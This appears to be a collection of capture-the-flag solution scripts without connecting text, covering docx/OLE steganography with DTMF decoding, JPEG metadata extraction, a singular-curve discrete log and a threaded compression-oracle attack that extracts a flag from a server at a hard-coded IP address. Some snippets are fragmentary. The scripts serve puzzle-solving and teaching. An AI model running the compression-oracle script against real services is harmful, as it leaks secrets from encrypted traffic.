key = hashlib.sha256(b'12345678901234:PULSE_GATE_1997').digest()
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(payload))
print(flag)
# b'flag{CRT_1s_N0t_3n0ugh_wh3n_vm_l13s}'

import struct
data = open('此地无银三百两.docx','rb').read()
ss = 512
fat = []
for i in range(3):
    fs = struct.unpack('<I', data[0x4c+4*i:0x50+4*i])[0]   # DIFAT: FAT 扇区号
    fat += list(struct.unpack('<128I', data[(fs+1)*ss:(fs+2)*ss]))
used = {s for s in fat if s < 0xFFFFFFFA}                  # 非 FREEFAT/ENDCHAIN 等
used |= {struct.unpack('<I', data[0x4c+4*i:0x50+4*i])[0] for i in range(3)}
# 扫描连续未用区间 → 找到 sector 39~667 未用却非零

52494646 aee90400 57415645 666d7420 ...
'R','I','F','F'  size=0x4E9AE  'W','A','V','E'  'f','m','t',' '

data = open('此地无银三百两.docx','rb').read()
open('hidden.wav','wb').write(data[20480:])

$ file hidden.wav
RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
# 时长 3.65 s（160,965 帧）

import numpy as np, wave
w = wave.open('hidden.wav'); fs = w.getframerate()
pcm = np.frombuffer(w.readframes(w.getnframes()), dtype='<i2').astype(float)

# 1) 能量包络切分音段
win = 512
env = np.array([np.abs(pcm[i:i+win]).mean() for i in range(0, len(pcm)-win, win)])
on = env > env.max()*0.15
segs, s = [], None
for i, v in enumerate(on):
    if v and s is None: s = i
    if not v and s is not None: segs.append((s*win, i*win)); s = None

# 2) 每段 FFT 双峰 → DTMF 表
DTMF = {(697,1209):'1',(697,1336):'2',(697,1477):'3',(770,1209):'4',(770,1336):'5',
        (770,1477):'6',(852,1209):'7',(852,1336):'8',(852,1477):'9',
        (941,1209):'*',(941,1336):'0',(941,1477):'#'}
rows, cols = [697,770,852,941], [1209,1336,1477,1633]
near = lambda f, t: min(t, key=lambda x: abs(x-f))
code = ''
for a, b in [x for x in segs if x[1]-x[0] > 1000]:
    seg = pcm[a:b]
    sp = np.abs(np.fft.rfft(seg*np.hanning(len(seg))))
    fr = np.fft.rfftfreq(len(seg), 1/fs)
    peak = lambda lo, hi: fr[(fr>lo)&(fr<hi)][np.argmax(sp[(fr>lo)&(fr<hi)])]
    code += DTMF[(near(peak(600,1000), rows), near(peak(1100,1800), cols))]
print(code)   # 91368429015974

↓此地无银三百两↓此地无银三百↓此地无银三↓此地无银↓此地无↓此地↓此↓
YnVna3V7YzBOR3I0dHVsNHRpMG41X0ZyMG1fZDBjeF9zdDM5fQ==

#!/usr/bin/env python3
# solve.py — 依赖: pip install msoffcrypto-tool numpy
import io, struct, wave, re, base64, zipfile
import numpy as np, msoffcrypto

raw = open('此地无银三百两.docx','rb').read()

# 1) FAT 扫描空闲扇区,找非零空闲区里的 RIFF（本题动态定位到偏移 20480）
ss = 512; fat = []
for i in range(3):
    fs = struct.unpack('<I', raw[0x4c+4*i:0x50+4*i])[0]   # DIFAT: FAT 扇区号
    fat += list(struct.unpack('<128I', raw[(fs+1)*ss:(fs+2)*ss]))
used = {s for s in fat if s < 0xFFFFFFFA}
off = next(((s+1)*ss for s in range(len(raw)//ss)
            if s not in used and raw[(s+1)*ss:(s+1)*ss+4] == b'RIFF'))

# 2) 提取 WAV 并 DTMF 解码
w = wave.open(io.BytesIO(raw[off:])); fs = w.getframerate()
pcm = np.frombuffer(w.readframes(w.getnframes()), dtype='<i2').astype(float)
win = 512
env = np.array([np.abs(pcm[i:i+win]).mean() for i in range(0, len(pcm)-win, win)])
on = env > env.max()*0.15
segs, s = [], None
for i, v in enumerate(on):
    if v and s is None: s = i
    if not v and s is not None: segs.append((s*win, i*win)); s = None
DTMF = {(697,1209):'1',(697,1336):'2',(697,1477):'3',(770,1209):'4',(770,1336):'5',
        (770,1477):'6',(852,1209):'7',(852,1336):'8',(852,1477):'9',
        (941,1209):'*',(941,1336):'0',(941,1477):'#'}
rows, cols = [697,770,852,941], [1209,1336,1477,1633]
near = lambda f, t: min(t, key=lambda x: abs(x-f))
pwd = ''
for a, b in [x for x in segs if x[1]-x[0] > 1000]:
    sp = np.abs(np.fft.rfft(pcm[a:b]*np.hanning(b-a)))
    fr = np.fft.rfftfreq(b-a, 1/fs)
    pk = lambda lo, hi: fr[(fr>lo)&(fr<hi)][np.argmax(sp[(fr>lo)&(fr<hi)])]
    pwd += DTMF[(near(pk(600,1000), rows), near(pk(1100,1800), cols))]
print('[+] password:', pwd)

# 3) 解密 docx → 解包 word/document.xml → 取 Base64 → flag
f = msoffcrypto.OfficeFile(io.BytesIO(raw)); f.load_key(password=pwd)
out = io.BytesIO(); f.decrypt(out)
xml = zipfile.ZipFile(out).read('word/document.xml').decode('utf-8')
text = ''.join(re.findall(r'<w:t[^>]*>([^<]*)</w:t>', xml))
b64 = re.search(r'[A-Za-z0-9+/]{20,}={0,2}', text).group()
print('[+] flag:', base64.b64decode(b64).decode())

import struct

data = open('travel.jpg', 'rb').read()
pos = 2
while pos < len(data):
    if data[pos] != 0xFF:
        pos += 1
        continue
    marker = data[pos + 1]
    if marker in (0xD8, 0xD9):
        pos += 2
        continue
    if marker == 0xDA:      # 扫描数据起点,元数据段结束
        break
    seglen = struct.unpack('>H', data[pos+2:pos+4])[0]
    seg = data[pos+4:pos+2+seglen]
    if marker == 0xFE:      # JPEG COMMENT 段
        print("COMMENT:", seg.decode('utf-8'))
    elif marker == 0xE1:    # APP1 / EXIF
        print("EXIF:", seg[:400])
    pos += 2 + seglen

DateTimeOriginal:  2025:07:06 19:13:15
DateTimeDigitized: 2025:07:06 19:13:15

import hashlib
s = 'China_Beijing_PEK-CA911-Sweden_Stockholm_ARN-2025-07-06'
print(hashlib.md5(s.encode()).hexdigest())
# 12f3e9951e83dad792fa3f3162e1dc82

signal = enc_len(junk + known + c) - len(zlib.compress((junk + known + c).encode(), 9))

import urllib.request, urllib.parse, re, zlib, string
from concurrent.futures import ThreadPoolExecutor

URL = 'http://160.202.254.160:17563/'
CHARSET = string.digits + string.ascii_lowercase + '_-}'

def enc_len(msg):
    data = urllib.parse.urlencode({'msg': msg}).encode()
    req = urllib.request.Request(URL, data=data)
    html = urllib.request.urlopen(req, timeout=25).read().decode()
    h = re.search(r'hex-content">\s*([0-9a-f]+)\s*<', html)
    return len(bytes.fromhex(h.group(1).strip()))

def signal(c, known, junk):
    msg = junk + known + c
    return enc_len(msg) - len(zlib.compress(msg.encode(), 9))

def next_char(known):
    with ThreadPoolExecutor(max_workers=8) as ex:
        f1 = {c: ex.submit(signal, c, known, 'e'*16) for c in CHARSET}
        f2 = {c: ex.submit(signal, c, known, 'Q'*16) for c in CHARSET}
        tot = {c: f1[c].result() + f2[c].result() for c in CHARSET}
    mn = min(tot.values())
    return [c for c, t in tot.items() if t == mn]

known = 'flag{'
while True:
    known += next_char(known)[0]
    print(known, flush=True)
    if known.endswith('}'):
        break

s = 46500239339441422679025823482735720722783879900432107947368301751768046780432

phi(G) = 97415379520165909161583112443212294520619611669174663204854746492365468041604
phi(C) = 207301516118559136168358073644857682753400818860587434153248709682367701971705
ord(phi(G)) = 52987907494989204436877429686153662669329265802598976124908209177742357530646

p - 1 = 2 * 3 * 5 * 7 * 11 * 13 * ... * 181 * 191 * 257

d = 7521414230397906277
  = 0x68616e64736f6d65

b"handsome"

#!/usr/bin/env python3
import base64
from itertools import cycle

from sympy import discrete_log, n_order, sqrt_mod


p = 264939537474946022184387148430768313346646329012994880624541045888711787653231
a = 172758858410161032222325336695971283308452620208332306681758664416752295370991

G = (
    137420494633265081853520303631701429441392730524428977912483910109442079887667,
    136590225176889456337403539826679828679637705963081988883359461639544522481417,
)

C = (
    3322719648942820303660920116849927911747359606160907256835130390304318706650,
    204524730679882164003064278501342862761246901119278949376421891596385644502844,
)

blob = b"4h;_j2mxFW3P1t~ECyaW8&NSVGXV(}SPWem"


def phi(point: tuple[int, int], s: int) -> int:
    """将奇异曲线上的非奇异点映射到 F_p^*。"""
    x, y = point
    t = y * pow(x, -1, p) % p
    return (t + s) * pow((t - s) % p, -1, p) % p


# sympy 可能返回两个平方根中的任意一个。
# 选择另一根只会把映射整体取逆，不影响离散对数 d。
s = int(sqrt_mod(a, p))
g = phi(G, s)
c = phi(C, s)

order = n_order(g, p)
d = int(discrete_log(p, c, g))

assert pow(g, d, p) == c
assert 0 <= d < order

key = d.to_bytes(8, "big")
ciphertext = base64.b85decode(blob)
plaintext = bytes(x ^ k for x, k in zip(ciphertext, cycle(key)))

# 回编码验证，排除 Base85 变体、字节序或异或方向错误。
rebuilt = bytes(x ^ k for x, k in zip(plaintext, cycle(key)))
assert base64.b85encode(rebuilt) == blob
assert plaintext.startswith(b"flag{") and plaintext.endswith(b"}")

print(f"d     = {d}")
print(f"key   = {key!r}")
print(f"flag  = {plaintext.decode()}")